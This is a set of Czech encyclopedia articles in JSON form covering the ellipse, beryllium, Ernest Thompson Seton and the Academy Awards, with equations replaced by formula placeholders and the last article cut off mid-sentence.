{ "title": [ "Rovnice.", "Kanonický tvar.", "Parametrické rovnice.", "Rovnice v polárních souřadnicích.", "Geometrické vlastnosti elipsy.", "Konstrukce elipsy.", "Trojúhelníková konstrukce.", "Postup.", "Proužková konstrukce.", "Postup.", "Příčková konstrukce.", "Postup.", "Rytzova konstrukce os.", "Postup.", "Elipsa ve fyzice." ], "section_level": [ "1", "2", "2", "2", "1", "1", "2", "3", "2", "3", "2", "3", "2", "3", "2" ], "content": [ "Rovnici elipsy lze zapsat v různých tvarech.", "Kanonický tvar rovnice elipsy v normální poloze (tzn. hlavní osa je rovnoběžná s osou formula_1 a střed má souřadnice formula_2) je Délka vedlejší poloosy je Střed elipsy má souřadnice", "Elipsu lze vyjádřit parametrickými rovnicemi kde formula_8 je tzv. \"excentrická anomálie\".", "V polárních souřadnicích lze v případě, že ohnisko formula_9 leží v počátku souřadnicové soustavy a polární osou je polopřímka formula_10 (tj. na obrázku výše osa formula_11, od které bude proti směru hodinových ručiček přibývat úhel formula_12) psát rovnici elipsy ve tvaru kde formula_14 je tzv. číselná excentricita a formula_15 je \"parametr elipsy\". Číselná excentricita vyjadřuje míru zploštění elipsy, míru odlišnosti od kružnice. Má smysl ji porovnávat i pro různě velké elipsy. Geometrický význam \"parametru\" je polovina délky tětivy vedené ohniskem kolmo na hlavní osu. Pokud v počátku souřadnicové soustavy leží střed elipsy a polární osou je polopřímka formula_16, pak dostáváme rovnici pro formula_18.", "O elipse říkáme, že je v \"normální poloze\", je-li její hlavní osa rovnoběžná s osou formula_1 nebo formula_20. Elipsu řadíme mezi kuželosečky, protože ji lze zkonstruovat jako řez rotační kuželové plochy rovinou. Rovina řezu není kolmá k ose kužele, neprochází jeho vrcholem a rovina s ní rovnoběžná vedená vrcholem nemá s kuželem žádný společný bod. Každá přímka procházející středem \"S\" elipsy je jejím průměrem. Ze dvou na sebe kolmých průměrů \"m\" a \"n\" s pomocí trojúhelníkové konstrukce (viz Konstrukce elipsy) můžeme sestrojit sdružené průměry \"m\" a \"n\", v jejichž koncovými body prochází rovnoběžky s \"n\" a \"m\", které jsou zároveň tečnami elipsy, a vytvářejí tak rovnoběžník. Jediné 2 sdružené průměry, které jsou na sebe kolmé, jsou osy elipsy. Dva sdružené průměry omezené body náležícími elipse jednoznačně určují elipsu. Odrazová vlastnost elipsy: Máme-li zrcadlo s vnitřní eliptickou odrazovou plochou a v jednom ohnisku zdroj světla, všechny paprsky se podle zákona odrazu odrazí do jediného bodu — druhého ohniska. Žádná jiná křivka nemá tuto vlastnost, takže ji lze použít jako alternativní definici elipsy. Obsah plochy ohraničené elipsou lze určit ze vzorce kde \"a,b\" jsou poloosy a formula_21 je Ludolfovo číslo. Obvod (délku elipsy) lze určit pomocí vztahu kde \"a\" je hlavní poloosa, \"ε\" (číselná) excentricita a funkce formula_22 je úplný eliptický integrál druhého druhu, nebo \"přibližných\" vzorců či částečným součtem nekonečné řady: Výpočtem jsem ověřil, že i tato nekonečná řada dává jen přibližný výsledek. Asi nejpřesnější výsledek dává vzozer Ramanujan 2. viz Vladimír Filip / POROVNÁNÍ PŘIBLIŽNÝCH VZORCŮ PRO VÝPOČET OBVODU ELIPSY Speciálním případem elipsy je kružnice, u které obě ohniska splývají. Excentricita je pak nulová, obě poloosy stejně dlouhé a říkáme jim \"poloměr\". Limitním případem elipsy je parabola, kterou lze chápat jako elipsu s jedním nevlastním ohniskem.", "Afinním obrazem kružnice je elipsa (nebo kružnice) a z této úvahy můžeme vyvodit následující konstrukci:", "Je zadán střed \"S\", osy \"o a o\", velikosti poloos \"a\" (hlavní), \"b\" (vedlejší).", "Sestrojíme soustředné kružnice v bodě \"S\" kružnice \"k\" a \"k\", které mají poloměry velikosti \"a\" a \"b\". Vedeme libovolnou polopřímku \"p\" vycházející z bodu \"S\". Pak bod \"M\" je průsečíkem přímek \"p\" a \"p\": zároveň platí, že \"p\" || \"o\", \"p\" || \"o\". Bod \"m\" je průsečík přímky \"p\" s kružnicí \"k\". Bod \"m\" je průsečík přímky \"p\" s kružnicí \"k\". Bod M (a všechny body takto sestrojené) se nachází mezi kružnicemi \"k\" a \"k\" nebo přímo na kružnicích (v případě hlavních a vedlejších vrcholů).", "Elipsa je určena hlavní osou \"o\", hlavními vrcholy \"A\" a \"B\" a bodem \"M\", který bude ležet na elipse, ale není vrcholem elipsy.", "Rozdílová konstrukce (viz obrázek): První krok pro získání velikosti poloosy \"b\" je podobný s trojúhelníkovou konstrukcí: sestrojíme k hlavní ose \"o\" kolmici \"m\" a rovnoběžku \"m\" které procházejí známým bodem M. Kružnice \"k\" se středem v \"S\" má poloměr velikosti \"a\". Vznikl nám tak bod \"M\" který je průsečíkem kolmice \"m\" a kružnice \"k\". Bod \"M\" spojíme přímkou \"m\" se středem \"S\" a nyní je už zřejmý bod \"M\", jenž je průsečíkem \"m\" s \"m\". Vzdálenost \"M\" od \"S\" je hledaná velikost poloosy \"b\". Bodem \"M\" povedeme rovnoběžku \"m ́\", \"m\" || \"m ́\". Průsečík této přímky m ́ s hlavní poloosou \"o\" nazveme \"P\". Vzniklá úsečka \"MP\" má velikost \"b\". Průsečík této přímky m ́ s vedlejší poloosou \"o\" nazveme \"P\". Vzniklá úsečka \"MP\" má velikost \"a\". Nyní si na okraji pomocného pruhu papíru označíme vzdálenosti \"MP\" a \"MP\" do jedné přímky \"M\" - \"P\" - \"P\" (z tohoto plyne název proužková konstrukce). Poté přikládáme proužek papíru tak, aby značka bodu \"P\" byla na vedlejší poloose \"o\" a zároveň značka bodu \"P\" byla na hlavní poloose \"o\". Značka bodu \"M\" nám tak bude opisovat hledanou elipsu. Tento typ konstrukce se nazývá rozdílová. Požívá se i součtová konstrukce, kterou můžete vidět na obrázku vpravo.", "Elipsa je v tomto případě dána dvojicí sdružených průměrů \"RQ\" a \"MN\", které na sebe nejsou kolmé (viz Geometrické vlastnosti elipsy).", "V bodech \"R\" a \"Q\" sestrojíme rovnoběžky s druhým sdruženým průměrem \"MN\". V bodech \"M\" a \"N\" sestrojíme rovnoběžky s druhým sdruženým průměrem \"RQ\". Vznikne nám rovnoběžník s vrcholy \"MNRQ\", které jsou průsečíky rovnoběžek k průměrům \"MN\" a \"RQ\". Sdružené průměry se protínají v průsečíku \"S\", který je středem elipsy. Vytvoříme si čtveřici soustředných (dle středu \"S\") souřadnicových systémů, jejichž počátky budou vrcholy vzniklého rovnoběžníku \"MNRQ\" a poloosy budou strany rovnoběžníku. Na všech poloosách si stejně vyznačíme vhodné jednotky (př. 1, 2, 3, 4). Poloosy souřadných systémů se stýkají v koncových bodech sdružených průměrů \"MNRQ\". Jednotky máme již vyznačené na rovnoběžkách sdružených průměrů, tak je ještě stejně vyznačíme přímo na sdružených průměrech \"MN\" a \"RQ\", a to tak, že střed S je počátkem. Nyní budeme hledat body náležící elipse. Začneme například body nad sdruženým průměrem \"MN\" v souřadnicovém systému určeným body \"NSQ\". Proložíme přímku bodem \"N\" a souřadnicí (např. 2) na poloose rovnoběžné k \"NM\", na které leží bod \"Q\". Poté proložíme přímku bodem \"M\" a souřadnicí 2 na poloose určené body \"SQ\" (\"SQ\" náleží průměru \"RQ\"). Průsečík takto proložených přímek nám dává bod ležící na elipse. Tato elipsa nemá určené osy ani vrcholy, abychom je zjistili, musíme použít Rytzovu konstrukci os elipsy.", "Elipsa je dána dvojicí omezených sdružených průměrů \"MN\" a \"RQ\".", "Sestojíme přímku \"p\" kolmou k jednomu ze sdružených průměrů (např. \"RQ\", tak aby procházela středem \"S\" (průsečík sdružených průměrů). Vzdálenost |\"RS\"| je shodná se vzdáleností |\"SP\"|, bod \"P\" leží na přímce \"p\". Proložíme přímku body \"PM\".Najdeme střed \"O\" úsečky \"PM\". Sestrojíme kružnici \"k\" o poloměru |OS|. Průsečíky kružnice \"k\" s přímkou určenou body \"P\", \"O\" a \"M\" nazveme 1 a 2. Sestrojíme přímku procházející průsečíkem \"1\" a středem \"S\" a přímku procházející průsečíkem \"2\" a středem \"S\". Tyto přímky jsou na sebe kolmé a leží na nich osy elipsy. Velikost hlavní a vedlejší poloosy získáme ze vzdáleností |\"2M\"| a |\"M1\"|.", "Johannes Kepler objevil, že planety se kolem Slunce pohybují po elipsách s malou excentricitou. To je první Keplerův zákon. Později Isaac Newton vysvětlil tento fakt jako důsledek zákona gravitace." ] }

{ "title": [ "Základní fyzikálně-chemické vlastnosti.", "Historický vývoj.", "Výskyt v přírodě.", "Výroba.", "Využití.", "Sloučeniny.", "Anorganické sloučeniny.", "Soli.", "Organické sloučeniny.", "Zdravotní rizika." ], "section_level": [ "1", "1", "1", "1", "1", "1", "2", "3", "2", "1" ], "content": [ "Beryllium je tvrdý (rýpe do skla), křehký (za normální teploty) a poměrně těžce tavitelný kov. Za červeného žáru je beryllium tažné. Vede špatně elektrický proud a teplo. Je supravodičem I. typu za teplot pod 0,26 K. Práškovité beryllium vyvolává kožní ekzémy a poškozuje dýchací cesty. Elementární kovové beryllium lze dlouhodobě uchovávat např. překryté vrstvou alifatických uhlovodíků jako petrolej nebo nafta, s kterými nereaguje. Beryllium je na suchém vzduchu stabilní (nereaguje s kyslíkem za pokojové teploty). S vodou reaguje pouze na povrchu a pokrývá se tenkou vrstvou oxidu berylnatého, oxidace dále za normální teploty neprobíhá. V přírodě se setkáváme pouze se sloučeninami. Kovové beryllium se za normální teploty nerozpouští v kyselině dusičné (ve zředěné kyselině se pouze pasivuje), za vyšší teploty se oxiduje velmi živě. S ostatními kyselinami se beryllium slučuje už za normální teploty. Beryllium se také rozpouští v roztocích hydroxidů. Se zředěnými roztoky hydroxidů reaguje teprve za tepla a s koncentrovanými již za pokojové teploty. Beryllium je nejlehčí prvek, který má jediný stabilní izotop, a to Be.", "Beryllium v roce 1798 objevil francouzský chemik Louis Nicolas Vauquelin jako součást minerálu berylu a ve smaragdech, které mají stejné struktury (smaragd obsahuje pouze o 2 % více chromu) (je zajímavé, že k závěru, že beryl a smaragd jsou podobné, dospěl přibližně 2000 let před objevem tohoto prvku i Plinius starší). Při objevu beryllia nebylo jasné jeho oxidační číslo a relativní atomová hmotnost – uvažovalo se Be o hmotnosti 9,4 nebo Be o hmotnosti 14,1. Tuto nejasnost objasnil o 70 let později teprve Dmitrij Ivanovič Mendělejev na základě svého periodického zákona. Podle něj nemá trojmocný prvek s relativní atomovou hmotností okolo 14 v blízkosti dusíku v periodické tabulce prvků místo, ale dvojmocný prvek s relativní atomovou hmotností okolo 9 by dokonale zaplnil mezeru mezi lithiem a borem. Tento kov se v mnohých vlastnostech podobal hliníku, ale nebyl schopný tvořit kamence (podvojné sloučeniny, které se ve středověku používaly k barvení látek). Kov dostal ve Francii název \"glucinium\", který upomíná na sladkou chuť berylnatých solí (všechny berylnaté soli jsou prudce jedovaté). Kovové beryllium bylo poprvé připraveno roku 1828 nezávisle dvěma vědci. Friedrich Wöhler i Antoine Bussy provedli nezávisle na sobě redukcí chloridu berylnatého kovovým draslíkem. Příprava čistého beryllia se povedla teprve roku 1898 Lebeauovi, který elektrolyzoval taveninu fluoridu berylnatého s fluoridem sodným.", "Díky jeho poměrně velké reaktivitě se v přírodě setkáváme pouze se sloučeninami beryllia. Ve všech svých sloučeninách se vyskytuje pouze v mocenství Be. Kromě berylnatých solí vytváří beryllium i komplexy [BeO] a [Be(OH)]. V zemské kůře je beryllium obsaženo v množství 3–10 mg/kg, mořská voda vykazuje mimořádně nízký obsah beryllia – přibližně 0,6 ppt Be (nanogram/litr) – a ve výskytu se řadí na stejnou úroveň jako cín, europium nebo arsen. Ve vesmíru patří beryllium přes svoji velmi nízkou atomovou hmotnost mezi poměrně vzácné prvky – na jeden jeho atom připadá přibližně 4,5 miliardy atomů vodíku. Nejdůležitějším minerálem s obsahem beryllia je aluminosilikát beryl, jehož složení popisuje následující sumární vzorec: BeAl(SiO). Mineralogie zná mnoho různých odrůd berylu, z nichž nejznámější jsou jistě drahé kameny zelený smaragd a modrý akvamarín (beryl je součástí koruny britské královny). Z dalších minerálů s větším obsahem berylia lze uvést například chryzoberyl Al[BeO], bromellit BeO, herderit CaBe(F, OH)PO, euklas BeAlSiO(OH), fenakit Be[SiO] a gadolinit YFeBeSiO. Další vzácné minerály beryllia jsou například helvín (Fe, Mn)[BeSiO]S, danalit [Fe, Zn][BeSiO]S, leukofán CaNaBe(SiO)F, melinofan (Ca, Na)Be(Si, Al)(O, F), trimerit MnBeSiO a bertrandit Be[SiO]. [SiO](OH). Beryl je lehce získatelný, protože tvoří povrchová ložiska a těží se v Brazílii, Severní Americe, Africe, Indii, Anglii, Norsku, Španělsku a na Urale. V České republice se beryl vyskytuje v těžitelném množství na Šumavě. Zásoby beryllia jsou odhadovány na 4×10 tun.", "Beryllium se získává pražením berylu s hexafluorokřemičitanem sodným při teplotě 700 až 750 °C, vyloužením rozpustného fluoridu vodou a následným srážením hydroxidem barnatým při pH asi 12. Beryllium se nejčastěji připravuje redukcí fluoridu berylnatého hořčíkem při teplotě okolo 1300 °C. Druhá nejčastější průmyslová výroba kovové berylia probíhá elektrolýzou směsi roztaveného chloridu berylnatého a sodného na rtuťové katodě v ochranné atmosféře plynného argonu. Beryllium lze připravit také elektrolýzou taveniny směsi fluoridu berylnatosodného NaBeF a trifluoroberylnatanu barnatého Ba[BeF]. Malé množství beryllia se dá také připravit rozkladem azidu berylnatého BeN", "Minerály beryllia se využívají ve šperkařství jako drahokamy a polodrahokamy. Nejznámější a největší drahokamy berylu jsou usazeny v anglické koruně. Mimořádně důležitou vlastností kovového berylia je jeho velmi vysoká propustnost pro rentgenové záření a nízkoenergetické neutrony. Proto je cenným materiálem především v jaderné energetice, kde slouží v jaderných reaktorech ke konstrukci neutronových zrcadel a je součástí moderátorových tyčí. Vysoká propustnost pro rentgenové záření se úspěšně využívá jak při kontrole provozu jaderných reaktorů, tak především při konstrukci rentgenových analyzátorů kovů. Vzorek analyzovaného materiálu je přitom umístěn tak, aby jej od zdroje rentgenového záření oddělovalo okénko z čistého beryllia o síle pouze několika mikrometrů. Tím se dosahuje maximálního průchodu všech vysoce energetických fotonů použitého rentgenova záření a silně tak roste citlivost analýzy. V metalurgii jsou slitiny beryllia především s mědí ceněny především pro svoji vysokou tvrdost, pevnost a zároveň dobrou elektrickou a tepelnou vodivost (např. Cu + 2 % Be = beryliový bronz, který se vyrovná nejkvalitnější nemagnetické oceli). Slitiny se používají často v elektronice pro výrobu odolných elektrických kontaktů nebo speciálních elektrod pro obloukové svařování. Nízká hustota a vysoká pevnost slitin beryllia vede k jejich využití pro konstrukci součástí letadel a kosmických lodí. Speciální slitiny s mědí se používají na výrobu nejiskřivého ručního nářadí; kladiv ap. určených pro používání v provozech, ve kterých hrozí nebezpečí výbuchu. Pro svou nízkou hmotnost (o třetinu nižší než hliník a o 60% než titan), vysokou tuhost a rychlost zvuku v tomto materiálu (vlastní rezonance membrány jsou v neslyšitelném spektru) se využívá pro konstrukci špičkových elektrodynamických vysokotónových reproduktorů. Oxid berylnatý BeO se využívá na lisování žáruvzdorných tyglíků, které odolávají teplotě do 2500 °C; je katalyzátorem při výrobě některých organických látek.", "", "", "Soli a sloučeniny beryllia se velmi podobají solím a sloučeninám hliníku. Většina berylnatých solí se ve vodě rozpuští a jen část se rozpouští hůře nebo vůbec, všechny soli mají bílou barvu (nebo jsou bezbarvé), pokud není anion soli barevný (manganistany, chromany). Berylnaté soli vytváří snadno podvojné soli i komplexy. Je to díky toho, že má beryllium amfoterní povahu – reaguje s kyselinami za vzniku berylnatých solí Be a s hydroxidy za vzniku komplexních anionů tetrahydroxyberylnatanových [Be(OH)] a jejich zahříváním („rozkladem“) lze vytvořit berylnatanový anion BeO, tyto aniony jsou také bezbarvé. Berylnatany nemají praktické využití a ve vodném roztoku nejsou příliš stabilní.", "Mezi organické sloučeniny beryllia patří zejména berylnaté soli organických kyselin a berylnaté alkoholáty. K dalším berylnatým sloučeninám patří nejrůznější organické komplexy berylnatých sloučenin. Zcela zvláštní skupinu organických berylnatých sloučenin tvoří organokovové sloučeniny.", "Beryllium a především jeho soli jsou ze zdravotního hlediska velmi rizikové. Jsou jak přímo toxické, tak potenciálně karcinogenní, tedy schopné vyvolat rakovinu nebo alespoň zvýšit riziko jejího výskytu. Vysoká toxicita beryllia je nejspíše způsobena jeho schopností vytěsnit hořčík z enzymů. Při dlouhodobém vdechování zvýšeného množství aerosolu a mikroskopických částeček s obsahem beryllia vzniká plicní choroba – chronická berylióza. Je známa již z první poloviny 20. století a prokazatelně postihuje pracovníky, kteří byli dlouhodobě vystaveni pobytu v prostředí s vysokým obsahem prachových částic na bázi beryllia. Jisté procento případů beryliózy obvykle bohužel přerůstá v plicní rakovinu. Největší zdravotní riziko pro organismus ale představuje příjem berylnatých solí v potravě nebo pitné vodě. Zvýšený příjem solí beryllia způsobuje prokazatelně značné riziko vzniku rakovinného bujení. Z tohoto důvodu je beryllium považováno za jeden z velmi vážných rizikových faktorů a jeho výskyt v pitné vodě a potravinách je neustále monitorován, přičemž povolené limity koncentrací patří k nejnižším z běžně sledovaných prvků." ] }

{ "title": [ "Životopis." ], "section_level": [ "1" ], "content": [ "Od mládí tíhl ke studiu přírody a tento zájem jej přivedl k malířství. Získal stipendium na londýnské Královské akademii umění, kde strávil dva roky. V roce 1881 se usadil na farmě svých starších bratrů v Carberry (Manitoba). Dříve než jako spisovatel, stal se uznávaným jako ilustrátor přírodovědných publikací. Začátkem 90. let odjel studovat malířství do Paříže. Byl dvakrát ženat. S první manželkou Grace Gallatin (rozvedli se po dlouholetém odloučení během 30. let) měl dceru Anyu, později známou spisovatelku historických románů. S druhou ženou, spisovatelkou Julií Buttreeovou, si adoptovali dceru Dee. V roce 1936 pobýval společně s manželkou Julií v rámci mezinárodního turné i v Československu. Pravděpodobně na popud své první ženy Grace Gallatin začal od poloviny 80. let 19. století publikovat povídky o zvířatech, ve kterých čerpal ze svých bohatých zkušeností lovce a zálesáka. Zásadní zlom v jeho životě znamenal rok 1902, kdy motivoval partu chlapců, která byla postrachem na jeho pozemcích usedlosti Windyghoul (Connecticut), k založení prvního woodcrafterského kmene, \"Woodcraft Indians\". Od té doby až do své smrti se cele věnoval woodcrafterskému hnutí. Souběžně s woodcrafterským hnutím se rozvíjela celá řada dalších hnutí, v Německu kupříkladu Wandervogel a v Anglii skauting. Zvláště skauting se mu zdál být zpočátku hodně blízkým. Když jej Robert Baden-Powell během léta 1905 kontaktoval, měl za to, že je jeho záměrem pouze modifikovat woodcrafterskou myšlenku pro evropské podmínky, proto souhlasil s použitím materiálů z \"Birch Bark Roll\" v \"Scouting for Boys\" (kterou později použil v roce 1912 Antonín Benjamin Svojsík pro své \"Základy junáctví\"). Výsledkem však byl on sám silně rozčarován. Baden-Powell použil, co se mu zamlouvalo, jeho samotného ani nezmínil, a přidal některé jemu protivné prvky. Baden-Powell byl voják a vznik anglického skautingu ovlivnila i křesťanská organizace mládeže \"Boys' Brigade\" založená anglikánským duchovenstvem. Obojí se na Baden-Powellově pojetí silně projevilo. On sám ale věřil, že ideová síla woodcraftu je silnější než síla skautingu a chtěl své pojetí uplatnit v Americe. Jako výraz smíření přijal nabídku stát se náčelníkem Boy Scouts of America (vznikli 21. června 1910), a dokonce šel tak daleko, že osmé vydání \"Birch Bark Roll\" vydané ve spolupráci s Edgarem M. Robinsonem nazval \"The American Boy Scout\". V americkém skautském hnutí setrval do roku 1915, kdy byl v podstatě vyhozen na základě dodatku, podle kterého mohl být členem \"Boy Scouts of America\" pouze občan Spojených států amerických. V té době neměl americké státní občanství. Člověkem, který k bezprostřednímu konfliktu přispěl, byl ambiciózní James West. Kromě osobních sporů a intrik byly důvodem roztržky i ideové rozpory, zhruba řečeno jeho oponenti chtěli skauting spíše baden-powellovský, on sám prosazoval svoje vlastní názory. Svou zkušenost se skautským hnutím později shrnul: „Mým záměrem bylo dělat z nich (skautů) muže, Baden-Powellovým – vojáky“. Čtrnáct let po založení organizace Woodcraft Indians, tedy roku 1916, přetvořil na novou The Woodcraft Leaggue of America, daleko lépe organizovanou. Jeho averzi vůči skautingu a jeho protagonistům do značné míry později tlumila druhá žena Julia Moss Buttree-Seton, která po jeho skonu a zániku The Woodcraft League of America věnovala prakticky celou jeho pozůstalost do péče BSA. Mezi českými skauty je pravděpodobně známější a uznávanější než mezi americkými, poněvadž v době, kdy se konsolidoval český skauting, ho „objevil“ středoškolský profesor Miloš Seifert, který propagaci jeho woodcrafterského hnutí zasvětil celý svůj život. Snad právě proto je v bývalém Československu oproti světovému skautingu dodnes kladen velký důraz na výchovu spojenou s pobytem v přírodě. Často se však nedoceňuje skutečnost, že A. B. Svojsík ve svém zásadním díle \"Základy junáctví\" (1912) věnuje hned v úvodní části strany 19–23 právě E. T. Setonovi a medailonek o Baden-Powellovi polemicky otevírá zamyšlením: \"Těžko je posouditi, kdo má o které odvětví skautingu větší zásluhy, zde Seton, či Baden-Powell. Jisto je, že ona romantičnost, poetičnost a láska k přírodě jsou především zásluhou Setonovou, kdežto pořádek, kázeň, organizace jsou zase dílem Powellovým – obou výborných psychologů i pedagogů.\" (s. 22–23)" ] }

{ "title": [ "Historie.", "Důležité mezníky.", "Termínový přesun.", "Soška Oscara.", "Název a podoba.", "Nominace a pravidla.", "Hlasování.", "První kolo.", "Druhé kolo.", "Pravidla.", "Členové akademie.", "Slavnostní ceremoniál.", "Kontroverze." ], "section_level": [ "1", "2", "2", "1", "2", "1", "2", "3", "3", "2", "1", "1", "1" ], "content": [ "První předání ceny se konalo 16. května 1929 a byly oceněny výjimečné kvality filmů z let 1927 a 1928. Předávání proběhlo jako banket za účasti asi 250 lidí. Členové Akademie měli vstup zdarma, ostatní si museli zakoupit vstupenku v ceně 5 dolarů. Držitelé cen byli ohlášeni tři měsíce předem. Zájem médií byl v prvním ročníku minimální, již příští rok se však vysílal přímý rozhlasový přenos. Výsledky dostaly noviny pro svá vydání v 11 hodin večer. V roce 1940 se však stalo, že noviny Los Angeles Times vydaly seznam vítězů ve svém vydání v 8:45, ještě před zahájením ceremoniálu. V příštím roce pak byla zavedena metoda zapečetěných obálek, otevíraných až v průběhu slavnostního předávání. Jména laureátů nejsou známá až do okamžiku vyhlášení na slavnostním předáváním cen. Do té doby jsou schované v obálkách ve firmě PricewaterhouseCoopers. Až do roku 1942 probíhalo předávání ve formě banketu, od té doby se ocenění udělují na slavnostním večeru pořádaném v divadle. Tento večer je pouze pro zvané hosty, vstupenky nejsou ve volném prodeji. V průběhu prvního večera bylo rozdaných celkem dvanáct sošek a dvacet certifikátů ve dvanácti základních a dvou speciálních kategorií. Herec Emil Jannings dokonce získal úplně prvního Oscara a to ještě před samotným ceremoniálem. V jehož průběhu měl být na natáčení v Evropě. Akademie tomuto požadavku vyhověla. Původně se bankety konaly v hotelech Roosevelt, Ambassador a Biltmore. Jak zájem hvězd, novinářů i fanoušků rostl, Akademie v roce 1944 při svém 16. ročníku přesunula udílení cen do větších prostorů, konkrétně do Graumanova čínského divadla. Rok 1953 byl rokem průkopnickým, protože se tehdy poprvé Oscaři pro diváky Spojených států a Kanady vysílali v televizi. V roce 1966 se Oscar začal vysílat v barvě. Od roku 1969 měl televizní přenos mezinárodní rozměry. V roce 2011 byl přenos z udílení cen možný ve více než dvou stech zemích.", "V průběhu historie cen se počet kategorií i pravidla značně měnily. Za nejdůležitější mezníky považuje Akademie tyto:", "V historii cen se třikrát stalo, že termín ceremoniálu předání této ceny musel být přesunut:", "", "Oficiální název ceny je \"Cena Akademie za zásluhy\" (\"Academy Award of Merit\"), označení Oscar je přezdívka sošky. Tento název se uchytil podle ne zcela jasné verze. Existují totiž tři příběhy, které mluví o zavedení jména Oscar. Podle jedné verze knihovnice Akademie Margaret Herricková při spatření sošky zvolala „vypadá úplně jako strýček Oscar!“. Druhá vypráví o tom, že přezdívku vymyslela herečka a někdejší ředitelka Akademie Bette Davis, protože soška ji připomínala manžela Harmona Oscara Nelsona. Poprvé však název Oscar použil losangeleský novinář Sidney Skolsky v roce 1934, když glosoval úspěch Katharine Hepburn. Ta totiž získala v roce 1934 prvního Oscara. Každopádně Akademie tuto přezdívku oficiálně uznala až v roce 1939. Symbolem ceny je zlatá soška rytíře držícího meč a stojícího na cívce filmového pásu s pěti kruhy, které představují pět původních profesních sekcí Akademie (herci, režiséři, producenti, technici a scenáristé). Sošku stvořili výtvarník Cedric Gibbons a sochař George Stanley. Podstavec, na kterém soška rytíře stojí, měnil svou podobu až do roku 1945. Od té doby má s menšími změnami dnešní podobu a velikost. Výška sošky je 34,5 cm, výška podstavce 7,5 cm a jeho průměr 13,5 cm. Původně byl Oscar z bronzu a pozlacený 24-karátovým zlatem. Od roku 1930 je ze slitiny cínu, mědi a antimonu a pokrytý leštěnými vrstvami cínu, niklu, stříbra a zlata. V průběhu druhé světové války byly sošky kvůli nedostatku kovových materiálů vyrobeny ze sádry, po válce pak byly majitelům vyměněny za kovové. Podstavec býval z černého mramoru, od roku 1945 je kovový. Oscar váží 3,85 kg. Od roku 1949 má na sobě každá soška jedinečné číslo (číslování začíná na 501). Od roku 1982 sošky vyrábí chicagská společnost \"R. S. Owens & Company\". Každý rok v lednu vyrobí padesát kusů. Trvá to tři až čtyři týdny. Odlití každého kusu zaměstná dvanáct pracovníků na pět hodin. Sošky jsou nejdřív odlité, pak vytvarované, obroušené a vyleštěné. Výrobní cena je přibližně 150 $, ale ta symbolická je nevyčíslitelná.", "Každý rok v listopadu začíná volební kampaň Akademie filmového umění a věd. Udílení Oscarů předchází hlasovací proces s volbou nominaci.", "Každý aktivní člen s hlasovacím právem získá od Akademie hlasovací lístek. Počet členů je přibližně šest tisíc. Většina z nich je zastoupena v určité pobočce. Herci v herecké, režiséři v režisérské, skladatelé v skladatelské, střihači v střihačské a podobně. Poboček má Akademie patnáct. Aby se předešlo uplácení, organizace nezveřejňuje, až na výjimky, jména členů. Hlasujícím členům jsou poskytnuty veřejná promítání filmů, vstupy zdarma na komerční projekce a DVD nosiče. Ty jim zasílají různá studia a distribuční firmy.", "Na konci prosince dostane každý aktivní člen hlasovací lístek. Po jeho vyplnění ho nejpozději odešle do společnosti \"PricewaterhouseCoopers\", která má za úkol sečíst hlasy. Hlasování probíhá v pětadvaceti kategoriích. Členové z každé pobočky hlasují za počiny v dané oblasti (herci odevzdávají hlasy herců, režiséři režisérům, kameramani kameramanů, a podobně. Kategorie animovaný film a cizojazyčný film mají na starosti speciální komise. V kategorii nejlepší film hlasují všichni členové s hlasovacím právem. Výsledky prvního nominačního kola jsou známé ve třetí lednový týden. Na tiskové konferenci je pak prezident Akademie vyhlásí v divadle Samuela Goldwyna v Beverly Hills.", "Na konci ledna je členům zaslán finální hlasovací lístek, tentokrát se jmény nominovaných umělců. Konečné hlasy by měly do sídla \"PricewaterhouseCoopers\" dorazit nejpozději v úterý před udílením cen. To se už tradičně koná poslední únorovou neděli. Co se kategorií jako je dokument, krátký dokument, krátký hraný film, krátký animovaný film a cizojazyčný film týče, hlasovat v nich můžou členové až po předložení potvrzení, že se jejich projekcí účastnili. Po sčítaní hlasů znají jejich výsledky pouze dva zaměstnanci agentury \"PricewaterhouseCoopers\". Jsou zapečetěna do obálek a uložena až do předávání cen.", "Do soutěže může být přihlášen každý celovečerní (nejméně čtyřicetiminutový) film zveřejněný na formátu 35 nebo 70 mm pro klasický film, popř. ve formátu \"Digital Cinema\" pro film natáčený digitální kamerou. Film musel být promítán běžným způsobem v některém kině v oblasti Los Angeles nejméně 7 dní po sobě, s tím, že premiéra je v době od 1. ledna do 31. prosince daného roku. Film nesmí být před svým uvedením do kin uváděn v jiném médiu (kabelová televize, Internet apod.). V některých kategoriích jsou z některých pravidel povoleny výjimky (např. \"cizojazyčný film\"). Jednotlivé profesní sekce Akademie nominují ve svém oboru vždy pět kandidátů pro finále. Každý člen Akademie (cca 6000) nominuje pět snímků do kategorie „Nejlepší film“. V tajném hlasování opět všichni určí vítěze. Vyhodnocení hlasů provedou tři notáři advokátní firmy. Jména vítězů zůstávají tajná až do posledního okamžiku.", "Členy Americké akademie filmového umění a věd se automaticky stávají všichni umělci, kteří byli alespoň jedenkrát nominováni na Cenu akademie. Akademie má zhruba 5 až 6 tisíc členů po celém světě, mezi její členy českého původu patřili nebo doposud patří např. Franz Planer, Ivan Jandl, Miloš Forman, Jiří Menzel, Jan Pinkava, Miroslav Ondříček, Theodor Pištěk nebo Jan Svěrák.", "První ročník se konal 16. května 1929 na banketu v sálu Blossom hollywoodského hotelu Roosevelt. Akademie hodnotila filmy natočení mezi 1. srpnem 1927 a 1. srpnem 1928. Vše proběhlo velice rychle, udílení trvalo asi patnáct minut. Už v průběhu 2. ročníku se pozornost médii zvýšila a večer se přenášel rozhlasem. Tehdy se ceny střídavě udělovaly v hotelu Ambassador a hotelu Biltmore. V roce 1944 byl 16. ročník přesunut do větších prostorů a to do Graumanova čínského divadla. Následující léta se Oscar stěhoval ze Shrine Auditoria do divadla RKO Pantages. Odsud se poprvé taky vysílal televizní přenos z udílení cen a bylo to 19. března 1953 společností NBC. V roce 1961 bylo předávání cen přesunuto Santa Monica Civic Auditorium. Práva na televizní přenos tehdy získala společnost ABC, která, až na roky 1971 až 1975, vysílá slavnostní gala večer dodnes. A práva na tuto událost vlastní až do roku 2020. V letech 1969 až 1987 se ceny udělovaly v losangeleském hudebním centru v pavilónu Dorothy Chandler. Následně se Oscar opět stěhoval a to mezi hudebním centre a Shrine Auditoriem. Rozdíl mezi těmito dvěma středisky je v počtu sedadel. Pavilón disponuje dva a půl tisícem sedaček, kdežto Auditorium až šesti tisíci. Od roku 2002 se ceremoniál koná v Kodak Theatre s kapacitou tři tisíce tři sta sedadel, které změnilo název na \"Dolby Theatre\" 1. května 2012. Původně se ceny udělovaly na konci března, anebo začátkem dubna. V roce 1999 